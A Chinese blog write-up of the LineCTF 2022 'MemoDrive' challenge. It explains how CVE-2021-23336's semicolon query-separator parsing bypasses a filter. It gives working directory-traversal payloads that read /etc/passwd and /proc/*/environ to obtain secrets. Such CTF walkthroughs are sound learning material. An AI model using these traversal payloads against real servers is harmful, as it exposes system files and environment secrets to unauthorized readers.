LineCTF2022-MemoDrive


LineCTF2022-MemoDrive

知识点概要:CVE-2021-23336、目录遍历

详情参考:urllib parse_qsl(): Web cache poisoning - semicolon as a query args separator

首页

有源码,关键代码如下

def view(request):
    context = {}

    try:
        context['request'] = request
        clientId = getClientID(request.client.host)	#getClientID()为题目源码的函数,做了一个hash运算

        if '&' in request.url.query or '.' in request.url.query or '.' in unquote(request.query_params[clientId]):
            raise
        
        filename = request.query_params[clientId]
        path = './memo/' + "".join(request.query_params.keys()) + '/' + filename
        
        f = open(path, 'r')
        contents = f.readlines()
        f.close()
        
        context['filename'] = filename
        context['contents'] = contents
    
    except:
        pass
    
    return templates.TemplateResponse('/view/view.html', context)

def getClientID(ip):
    key = ip + '_' + os.getenv('SALT')
    
    return hashlib.md5(key.encode('utf-8')).hexdigest()

第15行全场唯一读文件方法readlines(),只需让path变量为flag所在路径即可

按照题目源码框架,本地启一个环境测试一下,代码如下

from urllib.parse import unquote
import uvicorn
from starlette.applications import Starlette
from starlette.routing import Route
from starlette.responses import JSONResponse

def view(request):

    try:
        clientId = "id"
        print("request.url:", request.url)
        print("request.url.query:", request.url.query)
        print("request.query_params:", request.query_params)
        print("unquote params:", unquote(request.query_params[clientId]))
        if '&' in request.url.query or '.' in request.url.query or '.' in unquote(request.query_params[clientId]):
            raise
        
        filename = request.query_params[clientId]
        print("filename:", filename)
        print("request.query_params.keys:", request.query_params.keys())
        path = './memo/' + "".join(request.query_params.keys()) + '/' + filename
        print("path:", path)
    
    except:
        pass
    
    return JSONResponse({"a":1})

routes = [
    Route('/view', endpoint=view)
]

app = Starlette(debug=True, routes=routes)

if __name__ == "__main__":
    uvicorn.run(app, host="0.0.0.0", port=11000)

浏览器访问

http://192.168.1.34:11000/view?id=flag;/%2e%2e

在部分python版本中,解析URL参数时,会将分号;解析成参数分隔符&,从而导致此题目可被利用

参考:urllib parse_qsl(): Web cache poisoning - semicolon as a query args separator

实际操作如下

先在首页上侧的文本框随便输入,点击SAVE

然后下侧文本框会显示一串数字,就是序号+时间戳生成的文件名,点击进去

可看到URL跳转到/view?5e9995136241f179475b3f35dab141a4=0_20230907112045

修改为如下,假flag(必须先走完上面的步骤,直接访问此路径无回显)

/view?5e9995136241f179475b3f35dab141a4=flag;/%2e%2e

等号后修改为如下,读/etc/passwd

etc/passwd;/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e

源码getClientID()函数里有读取环境变量的代码os.getenv('SALT'),那么可以尝试读当前进程的环境变量信息/proc/self/environ,等号后修改为如下

proc/self/environ;/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e

已经可以看到SALT环境变量,但提示flag不在此

读进程 ID 为 1 的进程环境变量/proc/1/environ,等号后修改为如下

proc/1/environ;/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e

参考

https://blog.huli.tw/2022/03/27/linectf-2022-writeup/

https://blog.csdn.net/weixin_60581972/article/details/127122199


文章作者: wa0er
版权声明: 本博客所有文章除特別声明外,均采用 CC BY-NC 4.0 许可协议。转载请注明来源 wa0er !
评论
  目录